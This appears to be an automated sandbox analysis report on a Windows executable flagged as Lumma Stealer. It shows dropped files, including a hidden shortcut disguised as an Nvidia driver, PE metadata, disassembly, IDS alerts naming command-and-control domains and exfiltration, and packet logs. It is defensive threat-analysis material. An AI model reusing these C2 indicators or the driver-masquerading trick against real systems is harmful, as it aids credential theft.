File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Fri Dec 27 12:42:42 2024, mtime=Fri Dec 27 12:42:43 2024, atime=Fri Dec 27 12:42:42 2024, length=117248, window=hide
Category:	dropped
Size (bytes):	1139
Entropy (8bit):	4.981248328919176
Encrypted:	false
SSDEEP:	24:8cZsNoSQRtgKZBygFgO8ALf/K21YiZqyFm:8a0qRvpuyb/KfyF
MD5:	07E83C3C20EA70A35102E28223499838
SHA1:	703DD08D657EA9C8DCB82C0852E76C2F9FAFE052
SHA-256:	FE0E82EE0EE99DBEA4D64D5A23BD31498DE2FF0FE6FCE25908303A84693C3F35
SHA-512:	008421E1B4FEE6967BCA0B8655B2335D0A37FBF4D34D10B6C567AF145A21549E332F3A5E36E4C047362327F81C2FF8AF1194C3ED4F62CA95A495E325245A8772
Malicious:	false
Preview:	L..................F.... ...}:L4eX....\4eX..}:L4eX............................:..DG..Yr?.D..U..k0.&...&......vk.v.....(".eX..Q,(7eX......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.YCm...........................%..A.p.p.D.a.t.a...B.P.1......YAm..Local.<......CW.^.YCm....b.....................(..L.o.c.a.l.....N.1......YVm..Temp..:......CW.^.YVm....l.....................q.A.T.e.m.p.......2......YVm .89TY9V~1.EXE..f......YVm.YVm............................8.9.T.Y.9.V.9.W.I.Q.J.R.U.6.E.B.7.D.K.4.L.P...e.x.e.......k...............-.......j...........7E.......C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe....N.v.i.d.i.a.D.r.i.v.e.r.7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.8.9.T.Y.9.V.9.W.I.Q.J.R.U.6.E.B.7.D.K.4.L.P...e.x.e.........\|....I.J.H..K..:...`.......X.......648351...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..T..b...,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\T4qO1i2Jav.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:/FLoy:/FLl
MD5:	6E43EB4BA5DC366EE48961504A9DDC2A
SHA1:	444DFECFF6F9D4441F458A2B62DF4AF916F74887
SHA-256:	26D3A8E5B7B03427CF084AE3CD9713AD575A1921B432B02C96600B2AF7649D67
SHA-512:	13FB738CD092E000D2528B145F62C63B47DECB2424F836C3D9A08B400D8C130B56377276F5D3A0260B1611190498647454A301CAC562791F6B9703F6DAC1F305
Malicious:	false
Preview:	Got size..

\Device\Null

Download File

Process:	C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2107
Entropy (8bit):	4.147632980389283
Encrypted:	false
SSDEEP:	24:lIIDri4vS+j4r5X5+C8TmpNVVVVVVVVVW:lpHqjrBNSmpO
MD5:	F1111BBF38059976CCF698F39A71BFDF
SHA1:	DFDCBF00C2C339DCE07BE2DD67DB08E8937B9FC6
SHA-256:	C90561111EC8882970869D104AB87044DCA1569268A95A1928D64ACF7B9006FD
SHA-512:	01296DE6E0120C1D442542C3FDDCA06F54E9041D69C25E657706D11D2EFD597E70A83CCBAF6BEF3BBF876C638F4B6D4B88E53D060C19F4E4B4C63677EE8AE0FF
Malicious:	false
Preview:	sdgbcvbnfhugdzd world!..Key:..Key:..Key:..Key:..dmfnmhs qwerfadsadsf dagfdshghgfsf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dshgdfhdfghaf.. dsafasdfadsf dsh

Static File Info

General

File type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.160314003290711
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	T4qO1i2Jav.exe
File size:	874'496 bytes
MD5:	2d883950e8e1886bb567d041d17f22db
SHA1:	e216b58e8df9af53b3dd8650b281c15d14786ce7
SHA256:	4d03f680f20bb38f0ec7db840f1c783389e13e8488545a6c9d8aab30cbfd93dd
SHA512:	c457a17d01202f8320a0509528ccec7e61027043bcc160d7c45151f019b9371ebe78b59978b44aedcc47cca40d0fd6e903758e27bc7665f1844fbfe1df54a65f
SSDEEP:	12288:fsqkPBQEIFnt/yQbXdDnz7pTCes2iRmmtCvxTSYp7lUjI8zD274rlmu4Y:ftgBE/yQbXpz7pTCes2iRAjlGrfr
TLSH:	D4058D67611394F6CC3316F24987BBEFE620CE1D84220A1FE7488D64EBF6910757E266
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....T....................@.................................o.....@... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x401307
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x406bd9, 0x406ba8, 0x410774
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e83be636913a91ed7c5d5aef532bc05d

Entrypoint Preview

Instruction
xor eax, eax
mov dword ptr [00489054h], eax
jmp 00007F0EC486C50Fh
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [ebp+08h]
mov dword ptr [esp], eax
call 00007F0EC487975Dh
leave
cmp eax, 01h
sbb eax, eax
ret
nop
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], 00401340h
call 00007F0EC486C6DAh
leave
ret
ret
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword ptr [ebp+08h]
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-04h], 00000000h
jmp 00007F0EC486C71Bh
mov edx, dword ptr [ebp-0Ch]
mov eax, dword ptr [ebp-04h]
add eax, edx
mov ecx, dword ptr [ebp-08h]
mov edx, dword ptr [ebp-04h]
add edx, ecx
movzx eax, byte ptr [eax]
mov byte ptr [edx], al
add dword ptr [ebp-04h], 01h
mov eax, dword ptr [ebp-04h]
cmp eax, dword ptr [ebp+10h]
jc 00007F0EC486C6E1h
nop
nop
leave
ret
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 000001CCh
mov dword ptr [ebp-000001A4h], 00477FE8h
mov dword ptr [ebp-000001A0h], 00479828h
lea eax, dword ptr [ebp-0000019Ch]
mov dword ptr [eax], ebp
mov edx, 004017B1h
mov dword ptr [eax+04h], edx
mov dword ptr [eax+08h], esp
lea eax, dword ptr [ebp-000001BCh]
mov dword ptr [esp], eax
call 00007F0EC4872DEFh
mov dword ptr [ebp-34h], 0000000Ah
mov eax, dword ptr [ebp-34h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8a000	0xe0c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8d000	0x49944	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd7000	0x4944	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x81858	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8a258	0x208	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7a250	0x7a400	0d972b9e1bc2abf7a9f03fe4766abbcb	False	0.3918352185582822	data	6.311758769777413	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x7c000	0x1310	0x1400	51dcebd9a68cfdcea89911290a54e5d0	False	0.06484375	data	0.6893423575105656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x7e000	0xa3d8	0xa400	75e8effa1a49aa417f3a70d39a876e01	False	0.29506478658536583	data	5.543265176793312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x89000	0xad4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x8a000	0xe0c	0x1000	d540bee2b9f5c9784a265aefb5468f43	False	0.296630859375	data	4.42433236204921	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x8b000	0x34	0x200	1d1527587aa546cad1face2659be5dfd	False	0.068359375	data	0.28187555731160896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x8c000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8d000	0x49944	0x49a00	fcdb3b1e60969dae2696e96a5955f99b	False	0.8990575923174873	Matlab v4 mat-file (little endian) \310, numeric, rows 0, columns 4, imaginary	7.7315670720604786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd7000	0x4944	0x4a00	92dfc814a99b9bb6a2d957cdb1e3ea7a	False	0.65625	data	6.633200714215997	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
7IZEVMM=	0x8d90c	0x32d	data	1.013530135301353
=E7O;LY	0x8dc3c	0x2e71	data	0.9230381024476407
E9YL}8XO57FVY;5=~TOZK	0x90ab0	0x2a0a	data	0.9297528340457164
HQY9OQ\|=^KUUEV	0x934bc	0x231d	data	0.9514962732228279
IHJ<ZY	0x957dc	0x2e29	data	0.932047050858932
K6ZSFNPIO}S=JR7MP	0x98608	0x413	data	1.0105465004793863
NL^R9ZGQKL\	0x98a1c	0x1319	data	0.9404786254857844
NUUKKEQW]TL^MK\NT4PR	0x99d38	0x2f9f	data	0.9159215814945452
OEK=H<YGTUIOTQHLL5HK	0x9ccd8	0x3641	data	0.9323925408596732
OOZL{QWMF~WYPQ	0xa031c	0xfb9	data	0.9572670807453416
QRYOI^YU\SOFM{	0xa12d8	0x20d0	data	0.9332142857142857
SQHT^O	0xa33a8	0x2f34	data	0.9177424693809997
S{<PX8[:FNU]J]J{Q{RMP]	0xa62dc	0x35f3	data	0.9232495836651944
UTQG	0xa98d0	0x1b3	ASCII text	0.8091954022988506
UZSK\RZZXV<N:5U	0xa9a84	0x1578	data	0.9541484716157205
U[WF47U	0xaaffc	0x2db5	data	0.9382104093667208
VO7R	0xaddb4	0x5e	ASCII text, with no line terminators	0.9042553191489362
YUFL4P4ZJ^<R8	0xade14	0x31f6	data	0.9255668491008601
YV<M{TUF7FF	0xb100c	0x1f77	data	0.9437616387337058
YYPO^RWOGTS~NNZX	0xb2f84	0x1f31f	data	0.8976403834865976
Z~R6RESX\EMZ	0xd22a4	0x1994	data	0.8407147220525352
\\|STG5UPQ]VFZVLVVXHJ	0xd3c38	0x277c	data	0.934408389394539
{LMX=ZJF]\|YV5SO\|	0xd63b4	0x58d	data	1.007741027445461

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CreateEventA, CreateFileMappingA, CreateSemaphoreA, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, FindResourceA, FormatMessageA, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetHandleInformation, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetProcessAffinityMask, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, LoadResource, LocalFree, LockResource, MapViewOfFile, MultiByteToWideChar, OpenProcess, OutputDebugStringA, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReleaseSemaphore, ResetEvent, ResumeThread, SetEvent, SetLastError, SetProcessAffinityMask, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SizeofResource, Sleep, SuspendThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, UnmapViewOfFile, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WideCharToMultiByte
msvcrt.dll	__getmainargs, __initenv, __mb_cur_max, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _beginthreadex, _cexit, _endthreadex, _errno, _initterm, _iob, _lock, _onexit, _setjmp3, _unlock, _vsnprintf, _vsnwprintf, abort, atoi, calloc, exit, fgetwc, fprintf, fputc, fputs, free, getc, getenv, iswctype, localeconv, longjmp, malloc, memchr, memcmp, memcpy, memmove, memset, printf, realloc, setlocale, signal, strchr, strcmp, strcoll, strcpy, strerror, strftime, strlen, strncmp, strtol, strtoul, strxfrm, towlower, towupper, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm, _strdup, _read
USER32.dll	ShowWindow

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T14:42:09.122907+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.4	61200	1.1.1.1	53	UDP
2024-12-27T14:42:09.122907+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.4	61200	1.1.1.1	53	UDP
2024-12-27T14:42:09.265303+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.4	53382	1.1.1.1	53	UDP
2024-12-27T14:42:09.265303+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.4	53382	1.1.1.1	53	UDP
2024-12-27T14:42:09.437617+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.4	54475	1.1.1.1	53	UDP
2024-12-27T14:42:09.437617+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.4	54475	1.1.1.1	53	UDP
2024-12-27T14:42:09.578842+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.4	53193	1.1.1.1	53	UDP
2024-12-27T14:42:09.578842+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.4	53193	1.1.1.1	53	UDP
2024-12-27T14:42:09.733567+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.4	62926	1.1.1.1	53	UDP
2024-12-27T14:42:09.733567+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.4	62926	1.1.1.1	53	UDP
2024-12-27T14:42:09.877345+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.4	54389	1.1.1.1	53	UDP
2024-12-27T14:42:09.877345+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.4	54389	1.1.1.1	53	UDP
2024-12-27T14:42:10.018486+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.4	58534	1.1.1.1	53	UDP
2024-12-27T14:42:10.018486+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.4	58534	1.1.1.1	53	UDP
2024-12-27T14:42:10.162558+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.4	52216	1.1.1.1	53	UDP
2024-12-27T14:42:10.162558+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.4	52216	1.1.1.1	53	UDP
2024-12-27T14:42:11.921542+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	23.55.153.106	443	TCP
2024-12-27T14:42:12.730937+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49730	23.55.153.106	443	TCP
2024-12-27T14:42:14.330863+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.157.254	443	TCP
2024-12-27T14:42:15.095213+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	172.67.157.254	443	TCP
2024-12-27T14:42:15.095213+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.157.254	443	TCP
2024-12-27T14:42:16.389119+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.157.254	443	TCP
2024-12-27T14:42:17.160764+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	172.67.157.254	443	TCP
2024-12-27T14:42:17.160764+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	172.67.157.254	443	TCP
2024-12-27T14:42:18.761336+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.157.254	443	TCP
2024-12-27T14:42:21.245333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.157.254	443	TCP
2024-12-27T14:42:23.878487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.157.254	443	TCP
2024-12-27T14:42:27.144538+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.157.254	443	TCP
2024-12-27T14:42:27.842002+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49736	172.67.157.254	443	TCP
2024-12-27T14:42:30.436585+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	172.67.157.254	443	TCP
2024-12-27T14:42:35.064340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	172.67.157.254	443	TCP
2024-12-27T14:42:35.804266+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	172.67.157.254	443	TCP
2024-12-27T14:42:37.451791+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	172.67.182.218	443	TCP
2024-12-27T14:42:43.026607+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.182.218	443	TCP
2024-12-27T14:42:45.999563+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49747	172.67.161.29	80	TCP
2024-12-27T14:42:48.583999+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49750	172.67.182.218	443	TCP
2024-12-27T14:42:52.337631+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49751	172.67.161.29	80	TCP
2024-12-27T14:43:14.211341+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49839	172.67.161.29	80	TCP
2024-12-27T14:43:44.727669+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50070	172.67.161.29	80	TCP
2024-12-27T14:44:19.061984+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50201	172.67.161.29	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 14:42:10.471329927 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:10.471360922 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:10.471434116 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:10.474673033 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:10.474687099 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:11.921456099 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:11.921541929 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:11.925365925 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:11.925374985 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:11.925615072 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:11.971647024 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:11.974397898 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.019328117 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.731081009 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.731158018 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.731194019 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.731215954 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.731219053 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.731247902 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.731259108 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.731266975 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.731277943 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.731297970 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.731318951 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.914371014 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.914437056 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.914458036 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.914469957 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.914515972 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.939306021 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.939363003 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.939448118 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.939459085 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.939501047 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.939527035 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:12.939572096 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.941628933 CET	49730	443	192.168.2.4	23.55.153.106
Dec 27, 2024 14:42:12.941639900 CET	443	49730	23.55.153.106	192.168.2.4
Dec 27, 2024 14:42:13.101473093 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:13.101524115 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:13.101620913 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:13.101936102 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:13.101953983 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:14.330745935 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:14.330862999 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:14.333559036 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:14.333575964 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:14.333981037 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:14.335155964 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:14.335172892 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:14.335241079 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:15.095328093 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:15.095580101 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:15.095717907 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:15.095864058 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:15.095864058 CET	49731	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:15.095887899 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:15.095896006 CET	443	49731	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:15.170305014 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:15.170357943 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:15.170453072 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:15.170867920 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:15.170891047 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:16.388896942 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:16.389118910 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:16.390839100 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:16.390853882 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:16.391845942 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:16.393325090 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:16.393342972 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:16.393490076 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.160578012 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.160703897 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.160764933 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.160789967 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.160818100 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.160868883 CET	49732	443	192.168.2.4	172.67.157.254
